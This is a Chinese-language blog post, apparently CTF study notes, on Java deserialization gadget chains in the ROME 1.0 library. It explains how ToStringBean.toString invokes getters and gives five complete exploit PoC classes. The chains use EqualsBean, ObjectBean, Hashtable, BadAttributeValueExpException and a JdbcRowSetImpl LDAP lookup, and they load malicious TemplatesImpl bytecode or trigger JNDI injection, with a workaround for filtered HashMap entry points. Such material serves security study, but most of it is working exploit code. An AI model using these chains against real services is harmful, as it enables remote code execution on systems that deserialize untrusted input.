Rome反序列化 依赖 1 2 3 4 5 6 7 <dependencies > <dependency > <groupId > rome</groupId > <artifactId > rome</artifactId > <version > 1.0</version > </dependency > </dependencies >
tostring 问题出现在tostringbean#tostring方法这里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 public String toString () { Stack stack = (Stack) PREFIX_TL.get(); String[] tsInfo = (String[]) ((stack.isEmpty()) ? null : stack.peek()); String prefix; if (tsInfo==null ) { String className = _obj.getClass().getName(); prefix = className.substring(className.lastIndexOf("." )+1 ); } else { prefix = tsInfo[0 ]; tsInfo[1 ] = prefix; } return toString(prefix); } private String toString (String prefix) { StringBuffer sb = new StringBuffer (128 ); try { PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(_beanClass); if (pds!=null ) { for (int i=0 ;i<pds.length;i++) { String pName = pds[i].getName(); Method pReadMethod = pds[i].getReadMethod(); if (pReadMethod!=null && pReadMethod.getDeclaringClass()!=Object.class && pReadMethod.getParameterTypes().length==0 ) { Object value = pReadMethod.invoke(_obj,NO_PARAMS); printProperty(sb,prefix+"." +pName,value); } } } } catch (Exception ex) { sb.append("\n\nEXCEPTION: Could not complete " +_obj.getClass()+".toString(): " +ex.getMessage()+"\n" ); } return sb.toString(); }
在toString函数里面存在一个循环,遍历取出里面所有的方法,然后把取出的所有get方法遍历
然后就会调用getOutputObject,加载恶意字节码
由于触发这个需要调用到bean的tostring方法,就是去寻找那些存在调用各种tostring bean类
equalbean poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 package org.example.rome;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ToStringBean;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;public class RomeToStringBean { public static void setValue (Object obj,String name,Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception{ byte [] code = Files.readAllBytes(Paths.get("D:\\Desktop\\ctf\\src\\main\\java\\org\\example\\bad.class" )); byte [][] codes = {code}; TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); setValue(templates,"_name" ,"test" ); setValue(templates, "_tfactory" , new TransformerFactoryImpl ()); setValue(templates,"_bytecodes" ,codes); ToStringBean toStringBean = new ToStringBean (Templates.class,new ConstantTransformer (1 )); EqualsBean equalsBean = new EqualsBean (ToStringBean.class,toStringBean); HashMap<Object,Object> hashMap = new HashMap <>(); hashMap.put(equalsBean,"123" ); Field field = toStringBean.getClass().getDeclaredField("_obj" ); field.setAccessible(true ); field.set(toStringBean,templates); serialize(hashMap); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
调用栈
使用hashmap作为外壳触发readobject,然后触发hashmap重新计算hash,触发equalbean的tostring
objectbean 在这里也调用了equalbean的hashcode
1 2 3 4 5 public ObjectBean (Class beanClass,Object obj,Set ignoreProperties) { _equalsBean = new EqualsBean (beanClass,obj); _toStringBean = new ToStringBean (beanClass,obj); _cloneableBean = new CloneableBean (obj,ignoreProperties); }
1 2 3 public int hashCode () { return _equalsBean.beanHashCode(); }
可以看到调用了equal_hashcode方法
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 package org.example.rome;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import org.apache.commons.collections4.functors.ConstantTransformer;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;public class object_bean { public static void setValue (Object obj,String name,Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception{ byte [] code = Files.readAllBytes(Paths.get("D:\\Desktop\\ctf\\src\\main\\java\\org\\example\\bad.class" )); byte [][] codes = {code}; TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); setValue(templates,"_name" ,"test" ); setValue(templates, "_tfactory" , new TransformerFactoryImpl ()); setValue(templates,"_bytecodes" ,codes); ToStringBean toStringBean = new ToStringBean (Templates.class,new ConstantTransformer (1 )); ObjectBean objectbean=new ObjectBean (ToStringBean.class,toStringBean); HashMap<Object,Object> hashMap = new HashMap <>(); hashMap.put(objectbean,"123" ); Field field = toStringBean.getClass().getDeclaredField("_obj" ); field.setAccessible(true ); field.set(toStringBean,templates); serialize(hashMap); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
调用链
hashmap_bypass hashmap是我们readobject的反序列化起点,如果被过滤,我们需要寻找一个能够代替hashmap同时会触发hashcode计算的类
hashtable 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); int origlength = s.readInt(); int elements = s.readInt(); int length = (int )(elements * loadFactor) + (elements / 20 ) + 3 ; if (length > elements && (length & 1 ) == 0 ) length--; if (origlength > 0 && length > origlength) length = origlength; table = new Entry <?,?>[length]; threshold = (int )Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1 ); count = 0 ; for (; elements > 0 ; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); reconstitutionPut(table, key, value); } }
最后调用了一个reconstitutionPut方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java .io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry <>(hash, key, value, e); count++; }
这里还是调用了key.hashcode,完成了我们的链子
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 package org.example.rome;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ToStringBean;import org.apache.commons.collections4.functors.ConstantTransformer;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Hashtable;public class hashtable { public static void setValue (Object obj,String name,Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception{ byte [] code = Files.readAllBytes(Paths.get("D:\\Desktop\\ctf\\src\\main\\java\\org\\example\\bad.class" )); byte [][] codes = {code}; TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); setValue(templates,"_name" ,"test" ); setValue(templates, "_tfactory" , new TransformerFactoryImpl ()); setValue(templates,"_bytecodes" ,codes); ToStringBean toStringBean = new ToStringBean (Templates.class,new ConstantTransformer (1 )); EqualsBean equalsBean = new EqualsBean (ToStringBean.class,toStringBean); Hashtable<Object,Object> hashtable= new Hashtable <>(); hashtable.put(equalsBean,"123" ); Field field = toStringBean.getClass().getDeclaredField("_obj" ); field.setAccessible(true ); field.set(toStringBean,templates); serialize(hashtable); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
调用栈
BadAttributeValueExpException 在BadAttributeValueExpException类的readobject方法里面存在tostring
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val" , null ); if (valObj == null ) { val = null ; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
对传入的值进行了一个tostring的处理
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 package org.example.rome;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ToStringBean;import org.apache.commons.collections4.functors.ConstantTransformer;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;public class BadAttributeValueExpException_test { public static void setValue (Object obj,String name,Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception{ byte [] code = Files.readAllBytes(Paths.get("D:\\Desktop\\ctf\\src\\main\\java\\org\\example\\bad.class" )); byte [][] codes = {code}; TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); setValue(templates,"_name" ,"test" ); setValue(templates, "_tfactory" , new TransformerFactoryImpl ()); setValue(templates,"_bytecodes" ,codes); ToStringBean toStringBean = new ToStringBean (Templates.class,templates); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); Class Bv = Class.forName("javax.management.BadAttributeValueExpException" ); Field val = Bv.getDeclaredField("val" ); val.setAccessible(true ); val.set(badAttributeValueExpException,toStringBean); serialize(badAttributeValueExpException); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
jdbcRowset jdbcRowset存在这样一个函数
1 2 3 4 5 public DatabaseMetaData getDatabaseMetaData () throws SQLException { Connection var1 = this .connect(); return var1.getMetaData(); }
调用了this.connect方法触发jdbc链子
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 package org.example.rome;import com.sun.rowset.JdbcRowSetImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ToStringBean;import org.apache.commons.collections.functors.ConstantTransformer;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;public class jdbc { public static void main (String[] args) throws Exception{ JdbcRowSetImpl jdbcRowset = new JdbcRowSetImpl (); String url = "ldap://127.0.0.1:7777/TestRef" ; jdbcRowset.setDataSourceName(url); ToStringBean toStringBean = new ToStringBean (JdbcRowSetImpl.class,new ConstantTransformer (1 )); EqualsBean equalsBean = new EqualsBean (ToStringBean.class,toStringBean); HashMap<Object,Object> hashMap = new HashMap <>(); hashMap.put(equalsBean,"123" ); Field field = toStringBean.getClass().getDeclaredField("_obj" ); field.setAccessible(true ); field.set(toStringBean,jdbcRowset); serialize(hashMap); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
调用栈